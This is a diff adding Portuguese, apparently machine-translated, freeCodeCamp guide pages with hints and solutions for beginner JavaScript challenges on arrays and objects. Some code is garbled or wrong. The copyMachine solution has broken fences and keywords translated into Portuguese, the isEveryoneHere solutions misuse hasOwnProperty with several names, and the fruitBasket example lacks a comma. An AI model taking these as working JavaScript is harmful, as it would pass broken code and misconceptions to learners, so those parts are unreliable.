+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md
@@ -0,0 +1,35 @@
+---
+title: Add Items Using splice()
+localeTitle: Adicionar itens usando splice ()
+---
+## Adicionar itens usando splice ()
+
+*   Usando a função splice (), você deve remover os 2 primeiros elementos de matriz `arr` e substituí-los com `DarkSalmon` e `BlanchedAlmond` .
+*   Lembre-se de que a função de emenda pode levar até três parâmetros.
+
+## Exemplo:
+
+```javascript
+arr.splice(0, 1, "Two"); 
+ /*  The first two paramemters are the same as they were in the previous challenge. 
+    `0` will start the `splice()` function off at index 0. 
+    The second parameter `1` will remove only 1 variable from the array. 
+    The final variable "Two" will replace the variable in arr[0]. 
+    Note: The final parameter can take more than 1 arguement. 
+ */ 
+```
+
+## Solução:
+
+```javascript
+function htmlColorNames(arr) { 
+  // change code below this line 
+  arr.splice(0, 2, "DarkSalmon", "BlanchedAlmond"); 
+  // change code above this line 
+  return arr; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(htmlColorNames(['DarkGoldenRod', 'WhiteSmoke', 'LavenderBlush', 'PaleTurqoise', 'FireBrick'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md
new file mode 100644
index 0000000000..c53571a403
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md
@@ -0,0 +1,30 @@
+---
+title: Add Key-Value Pairs to JavaScript Objects
+localeTitle: Adicionar pares de valor-chave a objetos JavaScript
+---
+## Adicionar pares de valor-chave a objetos JavaScript
+
+*   O objeto de alimentos já foi declarado. Tudo o que resta a fazer é adicionar três novos `key-values` .
+
+```javascript
+OBJECT[{KEY}] = {VALUE} 
+```
+
+*   O código acima criará um `key-value` ney dentro do objeto.
+
+## Solução
+
+```javascript
+let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28 
+ }; 
+ // change code below this line 
+ foods['bananas'] = 13; 
+ foods['grapes'] = 35; 
+ foods['strawberries'] = 27; 
+ // change code above this line 
+ console.log(foods); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md
new file mode 100644
index 0000000000..e634dd3f0b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md
@@ -0,0 +1,33 @@
+---
+title: Check For The Presence of an Element With indexOf()
+localeTitle: Verificar a presença de um elemento com indexOf ()
+---
+## Verificar a presença de um elemento com indexOf ()
+
+*   Uma `if-statement` simples pode ser usada para verificar se o valor retornado pela função `indexOf()` é menor que 0.
+*   Quando o valor for descoberto, você poderá retornar `true` ou `false` .
+*   `Solution-1` demonstra como uma `if-statement` simples pode retornar o resultado correto.
+
+## Solução 1:
+
+```javascript
+function quickCheck(arr, elem) { 
+  if(arr.indexOf(elem)>=0) { 
+    return true; 
+  } 
+  return false; 
+ } 
+ console.log(quickCheck(['squash', 'onions', 'shallots'], 'mushrooms')); 
+```
+
+*   `Solution-2` demonstra como o problema pode ser resolvido usando o `? : (conditional)` operador.
+
+## Solução 2:
+
+```javascript
+function quickCheck(arr, elem) { 
+ return arr.indexOf(elem) >= 0 ? true : false; 
+ } 
+ console.log(quickCheck(['squash', 'onions', 'shallots'], 'mushrooms')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md
new file mode 100644
index 0000000000..ce59e79057
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md
@@ -0,0 +1,55 @@
+---
+title: Check if an Object has a Property
+localeTitle: Verificar se um objeto tem uma propriedade
+---
+## Verificar se um objeto tem uma propriedade
+
+Método:
+
+*   A maneira mais simples de completar esse desafio é criar uma `ìf-statement` para verificar se o objeto contém todos os usuários e, em seguida, retornar uma declaração verdadeira ou falsa. A primeira solução faz exatamente isso.
+*   A segunda solução funciona exatamente da mesma maneira, apenas usa 1 linha de código - `Conditional(ternary)-Operator` - `Conditional(ternary)-Operator` - dentro da função.
+
+[O developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) fornece uma análise mais aprofundada do operador ternário.
+
+### Solução 1:
+
+```javascript
+let users = { 
+  Alan: { 
+    age: 27, 
+    online: true 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: true 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ 
+ function isEveryoneHere(obj) { 
+  // change code below this line 
+  if(users.hasOwnProperty('Alan','Jeff','Sarah','Ryan')) { 
+    return true; 
+  } 
+  return false; 
+  // change code above this line 
+ } 
+ 
+ console.log(isEveryoneHere(users)); 
+```
+
+### Solução 2:
+
+```javascript
+function isEveryoneHere(obj) { 
+  return (users.hasOwnProperty('Alan','Jeff','Sarah','Ryan')) ? true : false; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md
new file mode 100644
index 0000000000..25fceddca4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md
@@ -0,0 +1,21 @@
+---
+title: Combine Arrays with the Spread Operator
+localeTitle: Combine Arrays com o Operador de Spread
+---
+## Combine Arrays com o Operador de Spread
+
+*   A solução é exatamente igual ao exemplo dado. Simplesmente insira a matriz `fragment[]` na matriz `sentence[]` no índice desejado.
+
+## Solução:
+
+```javascript
+function spreadOut() { 
+  let fragment = ['to', 'code']; 
+  let sentence = ["learning", ...fragment, "is", "fun"]; // change this line 
+  return sentence; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(spreadOut()); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md
new file mode 100644
index 0000000000..22a487d518
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Copy an Array with the Spread Operator
+localeTitle: Copiar uma matriz com o operador de propagação
+---
+## Copiar uma matriz com o operador de propagação
+
+*   A dica final no exemplo diz para você usar um método recentemente aprendido.
+*   O operador de spread copia todos os elementos em um novo objeto vazio.
+
+\`\` \`javascript while (num> = 1) { newArr = \[… arr\] num--; }
+```
+- The code above will copy all of the elements into `newArr` but will also reinitialise `newArr` with every new iteration of the while loop. 
+ - A new variable should first be initialised using the spread operator - `let obj = [...arr];` - then this variable should be added to the `newArr` for every iteration of the while loop. 
+ 
+ ## Solution: 
+```
+
+javascript função copyMachine (arr, num) { deixe newArr = \[\]; while (num> = 1) { // muda o código abaixo desta linha newArr.push (\[… arr\]); // muda o código acima desta linha num--; } return newArr; }
+
+// altere o código aqui para testar casos diferentes: console.log (copyMachine (\[verdadeiro, falso, verdadeiro\], 2)); \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md
new file mode 100644
index 0000000000..861f45035f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md
@@ -0,0 +1,30 @@
+---
+title: Copy Array Items Using slice()
+localeTitle: Copiar itens de matriz usando slice ()
+---
+## Copiar itens de matriz usando slice ()
+
+*   a função `slice()` deve ser usada para retornar um array que consiste em apenas `warm` e `sunny` .
+*   Portanto, dois parâmetros devem ser passados ​​para a função `slice()` . O primeiro parâmetro deve ser o índice para o qual você deseja que a substring comece. O segundo parâmetro deve ser o índice no qual a substring termina.
+*   Nota: O segundo parâmetro terminará a substring nesse índice exato.
+
+## Exemplo:
+
+```javascript
+ return arr.slice(1,4); 
+ /* This will return a substring consisting of indexs [1,2,3] 
+    Note: arr[4] is NOT included. 
+```
+
+## Solução:
+
+```javascript
+function forecast(arr) { 
+  // change code below this line 
+  return arr.slice(2,4); 
+ } 
+ 
+ // do not change code below this line 
+ console.log(forecast(['cold', 'rainy', 'warm', 'sunny', 'cool', 'thunderstorms'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md
new file mode 100644
index 0000000000..8a7818a7de
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md
@@ -0,0 +1,28 @@
+---
+title: Create complex multi-dimensional arrays
+localeTitle: Crie matrizes multidimensionais complexas
+---
+## Crie matrizes multidimensionais complexas
+
+*   A primeira corda - `deep` - deve ser inserida em três níveis de profundidade. Isso significa dentro de exatamente três conjuntos de `[square-brackets]` .
+
+```javascript
+let threeLevelArray = ["first level", ["Two levels deep", ["Three levels deep"]]]; 
+```
+
+*   Usando esta lógica inserir strings `deep` , `deeper` e `deepest` na matriz de três níveis de profundidade, quatro níveis de profundidade e cinco níveis de profundidade, respectivamente.
+
+## Solução:
+
+```javascript
+let myNestedArray = [ 
+  // change code below this line 
+  ['unshift', false, 1, 2, 3, 'complex', 'nested'], 
+  ['loop', 'shift', 6, 7, 1000, 'method'], 
+  ['concat', false, true, 'spread', 'array',["deep"]], 
+  ['mutate', 1327.98, 'splice', 'slice', 'push', [["deeper"]]], 
+  ['iterate', 1.3849, 7, '8.4876', 'arbitrary', 'depth', [[["deepest"]]] ] 
+  // change code above this line 
+ ]; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md
new file mode 100644
index 0000000000..78c7173747
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md
@@ -0,0 +1,42 @@
+---
+title: Generate an Array of All Object Keys with Object.keys()
+localeTitle: Gerar uma matriz de todas as chaves de objeto com Object.keys ()
+---
+## Gerar uma matriz de todas as chaves de objeto com Object.keys ()
+
+### Método:
+
+*   Para retornar a matriz de usuários, o método `Object.keys()` deve ter um argumento.
+*   Esse desafio pode ser resolvido usando uma instrução de retorno de linha única.
+
+### Solução:
+
+```javascript
+let users = { 
+  Alan: { 
+    age: 27, 
+    online: false 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: false 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ 
+ function getArrayOfUsers(obj) { 
+  // change code below this line 
+  return Object.keys(obj); 
+  // change code above this line 
+ } 
+ 
+ console.log(getArrayOfUsers(users)); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md
new file mode 100644
index 0000000000..3eb29dbb8e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Data Structures
+localeTitle: Estruturas de Dados Básicas
+---
+## Estruturas de Dados Básicas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md
new file mode 100644
index 0000000000..8075be94cb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md
@@ -0,0 +1,54 @@
+---
+title: Iterate Through All an Array's Items Using For Loops
+localeTitle: Iterar Através de Todos os Itens de uma Matriz Usando For Loops
+---
+## Iterar Através de Todos os Itens de uma Matriz Usando For Loops
+
+## Sugestão 1
+
+*   A nested `for` loop deve ser usado para pesquisar através de cada elemento na matriz.
+
+```javascript
+ for (let i = 0; i < arr.length; i++) { 
+```
+
+\`
+
+## Sugestão 2
+
+*   Todos os elementos da matriz devem ser comparados ao parâmetro `elem` passado pela função `filteredArray()` .
+
+```javascript
+if (arr[i].indexOf(elem)==-1){ 
+```
+
+## Dica 3
+
+*   Se uma correspondência não for encontrada, então `newArr` terá todo o subarray adicionado. A função `push()` é muito útil aqui.
+
+```javascript
+newArr.push(arr[i]); 
+```
+
+*   Uma vez que todo o subarray é adicionado ao `newArr` o loop continua com o próximo elemento.
+
+## Solução:
+
+```javascript
+function filteredArray(arr, elem) { 
+  let newArr = []; 
+  // change code below this line 
+ 
+ for (let i = 0; i < arr.length; i++) { 
+    if (arr[i].indexOf(elem)==-1){ //Checks every parameter for the element and if is NOT there continues the code 
+          newArr.push(arr[i]); //Inserts the element of the array in the new filtered array 
+            }; 
+          }; 
+ 
+  // change code above this line 
+  return newArr; 
+ }; 
+ // change code here to test different cases: 
+ console.log(filteredArray([[3, 2, 3], [1, 6, 3], [3, 13, 26], [19, 3, 9]], 3)); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md
new file mode 100644
index 0000000000..811fca9e41
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md
@@ -0,0 +1,45 @@
+---
+title: Modify an Array Stored in an Object
+localeTitle: Modificar uma matriz armazenada em um objeto
+---
+## Modificar uma matriz armazenada em um objeto
+
+### Método:
+
+*   A função pode ser escrita em apenas duas linhas de código.
+*   A primeira linha deve usar apenas a função `push()` para adicionar o parâmetro `friend` à matriz encontrada em `user.data.friend` . A segunda linha retornará a matriz modificada.
+*   Lembre-se que o `user` deve ser referenciado com o primeiro parâmetro dado à função `addFriend()` .
+
+### Solução:
+
+```javascript
+let user = { 
+  name: 'Kenneth', 
+  age: 28, 
+  data: { 
+    username: 'kennethCodesAllDay', 
+    joinDate: 'March 26, 2016', 
+    organization: 'freeCodeCamp', 
+    friends: [ 
+      'Sam', 
+      'Kira', 
+      'Tomo' 
+    ], 
+    location: { 
+      city: 'San Francisco', 
+      state: 'CA', 
+      country: 'USA' 
+    } 
+  } 
+ }; 
+ 
+ function addFriend(userObj, friend) { 
+  // change code below this line 
+  userObj.data.friends.push(friend); 
+  return userObj.data.friends; 
+  // change code above this line 
+ } 
+ 
+ console.log(addFriend(user, 'Pete')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md
new file mode 100644
index 0000000000..1823f7d4b5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md
@@ -0,0 +1,46 @@
+---
+title: Modify an Object Nested Within an Object
+localeTitle: Modificar um objeto aninhado em um objeto
+---
+## Modificar um objeto aninhado em um objeto
+
+Método:
+
+*   Lembre-se de que o objeto que você deseja alterar tem dois níveis de profundidade; `dot-notation` é mais fácil de usar nesta instância.
+*   Simplesmente defina o objeto e, em seguida, use `dot-notation` para acessar o segundo objeto e, finalmente, o elemento final que você deseja modificar.
+
+## Exemplo:
+
+```javascript
+let myObject = { 
+  level_1: 'outside', 
+  first_level_object: { 
+    level_2: '2 levels deep', 
+    second_level_object: { 
+      level_3: '3 levels deep' 
+      } 
+   } 
+ }; 
+ //The following line of code will modify the data found in level_2. 
+ myObject.first_level_object.level_2 = 'level-2 has been reached'; 
+```
+
+## Solução:
+
+```javascript
+let userActivity = { 
+  id: 23894201352, 
+  date: 'January 1, 2017', 
+  data: { 
+    totalUsers: 51, 
+    online: 42 
+  } 
+ }; 
+ 
+ // change code below this line 
+ userActivity.data.online = 45; 
+ // change code above this line 
+ 
+ console.log(userActivity); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md
new file mode 100644
index 0000000000..dfc69412aa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md
@@ -0,0 +1,21 @@
+---
+title: Remove Items from an Array with pop() and shift()
+localeTitle: Remover itens de uma matriz com pop () e shift ()
+---
+## Remover itens de uma matriz com pop () e shift ()
+
+*   O método `.pop()` e o método `.shift()` devem ser chamados e inicializados usando as variáveis `popped` e `shifted` para retornar a resposta correta da função.
+
+## Solução:
+
+```javascript
+function popShift(arr) { 
+  let popped = arr.pop(); 
+  let shifted = arr.shift(); 
+  return [shifted, popped]; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(popShift(['challenge', 'is', 'not', 'complete'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md
new file mode 100644
index 0000000000..40d703e92a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md
@@ -0,0 +1,23 @@
+---
+title: Remove Items Using splice()
+localeTitle: Remover itens usando splice ()
+---
+## Remover itens usando splice ()
+
+*   A função `splice()` deve ser chamada na matriz `arr` para remover 1 ou mais elementos do centro da matriz.
+*   A matriz `arr` atualmente acrescenta-se ao valor de 16. Basta remover tantas variáveis neccessary para retornar 10.
+
+## Solução:
+
+```javascript
+function sumOfTen(arr) { 
+  // change code below this line 
+  arr.splice(1,2); 
+  // change code above this line 
+  return arr.reduce((a, b) => a + b); 
+ } 
+ 
+ // do not change code below this line 
+ console.log(sumOfTen([2, 5, 1, 5, 2, 1])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md
new file mode 100644
index 0000000000..46c7c7497b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md
@@ -0,0 +1,28 @@
+---
+title: Use an Array to Store a Collection of Data
+localeTitle: Use uma matriz para armazenar uma coleção de dados
+---
+## Use uma matriz para armazenar uma coleção de dados
+
+### Método:
+
+*   No JS, os Arrays são uma das estruturas de dados mais usadas. Diferentemente de outras linguagens As matrizes no JS podem armazenar diferentes tipos de dados e também podem alterar seu tamanho em tempo de execução e, portanto, também são chamadas de "Dynamic Arrays". Eles também são 0 indexados.
+*   Os arrays podem ser inicializados de diferentes maneiras:
+
+1.  Literais de matriz
+2.  Construtores de matriz
+
+*   Neste desafio, vamos nos concentrar em literais de matriz. Para inicializar uma matriz, simplesmente `let arr = [];`
+*   Podemos adicionar valores a este array acessando seu índice, exemplo: `javascript let arr = []; arr[0] = "hello"; console.log(arr); // ["hello"]`
+*   Podemos também inicializar os valores no array quando o declaramos, exemplo: `javascript let arr = [1, 2, 3, "John"];`
+*   Neste desafio você precisa criar um array com pelo menos 5 elementos e pelo menos uma string, um número e um booleano.
+
+### Solução:
+
+```js
+ let yourArray = ["a", 2, true, "c", null, {name: "john"}]; 
+```
+
+### Recursos
+
+Mais leituras sobre matrizes no [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md
new file mode 100644
index 0000000000..c7c250f5da
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md
@@ -0,0 +1,27 @@
+---
+title: Use the delete Keyword to Remove Object Properties
+localeTitle: Use a palavra-chave delete para remover propriedades do objeto
+---
+## Use a palavra-chave delete para remover propriedades do objeto
+
+[O Developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete) fornece um tutorial abrangente sobre o operador delete.
+
+### Solução:
+
+```javascript
+let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28, 
+  bananas: 13, 
+  grapes: 35, 
+  strawberries: 27 
+ }; 
+ // change code below this line 
+ delete foods.oranges; 
+ delete foods.plums; 
+ delete foods.strawberries; 
+ // change code above this line 
+ console.log(foods); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md
new file mode 100644
index 0000000000..e65ccb8b64
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md
@@ -0,0 +1,17 @@
+---
+title: Access Array Data with Indexes
+localeTitle: Dados de Matriz de Acesso com Índices
+---
+## Dados de Matriz de Acesso com Índices
+
+O primeiro elemento de um array está na posição zero. Então, se você quiser acessar o primeiro elemento de um array, você pode fazer assim:
+
+```javascript
+var arr = ["Programming", 123, "Coding", 789]; 
+ 
+ var firstElem = arr[0] // This is "Programming" 
+ var thirdElem = arr[2] // This is "Coding" 
+ var fourthElem = arr[3] // This is 789 
+```
+
+Observe que o comprimento da matriz é 4 e a posição do último elemento da matriz é 3.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md
new file mode 100644
index 0000000000..f9640ae55c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md
@@ -0,0 +1,29 @@
+---
+title: Access Multi-Dimensional Arrays With Indexes
+localeTitle: Acessar matrizes multi-dimensionais com índices
+---
+## Acessar matrizes multi-dimensionais com índices
+
+Considere o seguinte array multidimensional:
+
+```javascript
+var arr = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]]; 
+```
+
+Isto é o que parece em forma de tabela.
+
+| Posição | 0 | 1 | 2 | 3 | | --- | --- | --- | --- | --- | | **0** | 1 | 4 | 7 | 10 | | **1** | 2 | 5 | 8 | 11 | | **2** | 3 | 6 | 9 | 12 |
+
+Agora tudo que você precisa fazer é escolher as coordenadas dos dados que você deseja! Por exemplo, se queremos que `myNum` seja igual a 8, então ...
+
+```javascript
+var myNum = arr[2][1]; // Equal to 8 
+```
+
+Ou, se você quer que seja igual a 1. Você faz…
+
+```javascript
+var myNum = arr[0][0]; // Equal to 1 
+```
+
+Primeiro você começa escolhendo em qual coluna o número está, depois escolhe a linha. É como o plano de coordenadas xy!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md
new file mode 100644
index 0000000000..a38eab5017
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md
@@ -0,0 +1,69 @@
+---
+title: Accessing Nested Arrays
+localeTitle: Acessando matrizes aninhadas
+---
+## Acessando matrizes aninhadas
+
+### Acessando elementos em uma matriz usando a notação de colchetes `[]`
+
+```js
+var fruitBasket = ['apple', 'banana' 'orange', 'melon']; 
+ var favoriteFruit = fruitBasket[2]; 
+ 
+ console.log(favoriteFruit) // 'orange' 
+```
+
+Neste exemplo, nossa fruta favorita é 'laranja', que está no índice `2` na matriz `fruitBasket` . Usando a notação do braket, atribuímos o índice `2` da matriz `fruitBasket` ao `favoriteFruit` . Isso faz com que `favoriteFruit` igual a "laranja".
+
+### Acessando objetos dentro de matrizes usando braket `[]` e dot `.` notação
+
+```js
+var garage = [ 
+  { 
+    type: 'car', 
+    color: 'red', 
+    make: 'Ford' 
+  }, 
+  { 
+    type: 'motorbike', 
+    color: 'black', 
+    make: 'Yamaha' 
+  }, 
+  { 
+    type: 'bus', 
+    color: 'yellow', 
+    make: 'Blue Bird' 
+  } 
+ ]; 
+ 
+ var busColor = garage[2].color; // 'yellow' 
+```
+
+## Solução:
+
+```js
+// Setup 
+ var myPlants = [ 
+  { 
+    type: "flowers", 
+    list: [ 
+      "rose", 
+      "tulip", 
+      "dandelion" 
+    ] 
+  }, 
+  { 
+    type: "trees", 
+    list: [ 
+      "fir", 
+      "pine", 
+      "birch" 
+    ] 
+  } 
+ ]; 
+ 
+ // Only change code below this line 
+ 
+ var secondTree = myPlants[1].list[1]; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md
new file mode 100644
index 0000000000..db87838559
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md
@@ -0,0 +1,50 @@
+---
+title: Accessing Nested Objects
+localeTitle: Acessando Objetos Aninhados
+---
+## Acessando Objetos Aninhados
+
+Dica: **_"Use a notação de colchetes para propriedades com um espaço em seus nomes"._**
+
+Se olharmos para o nosso objeto:
+
+```javascript
+var myStorage = { 
+  "car": { 
+    "inside": { 
+      "glove box": "maps", 
+      "passenger seat": "crumbs" 
+     }, 
+    "outside": { 
+      "trunk": "jack" 
+    } 
+  } 
+ }; 
+```
+
+Nosso nome de objeto é `myStorage` .
+
+| - Dentro disso, temos um objeto aninhado chamado `car` .
+
+| --- Por dentro temos mais dois chamados `inside` e `outside` cada um com seus propriedades próprias
+
+Você pode visualizar a estrutura do objeto assim, se isso ajudar:
+```
+myStorage 
+ |-- car 
+ |--- inside 
+ |----- glove box: maps 
+ |----- passenger seat: crumbs 
+ |--- outside 
+ |----- trunk: jack 
+```
+
+Somos solicitados a atribuir o conteúdo do `glove box` , o que podemos ver está aninhado no objeto `inside` , que por sua vez, é aninhado no objeto de `car` .
+
+Podemos usar a notação de pontos para acessar o `glove box` - `glove box` seguinte maneira:
+
+```javascript
+var gloveBoxContents = myStorage.car.inside'complete here' 
+```
+
+Você deve substituir `complete here` com a maneira correta de acessar a propriedade. Veja a pista acima se você ficar preso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md
new file mode 100644
index 0000000000..caee36b1b0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md
@@ -0,0 +1,21 @@
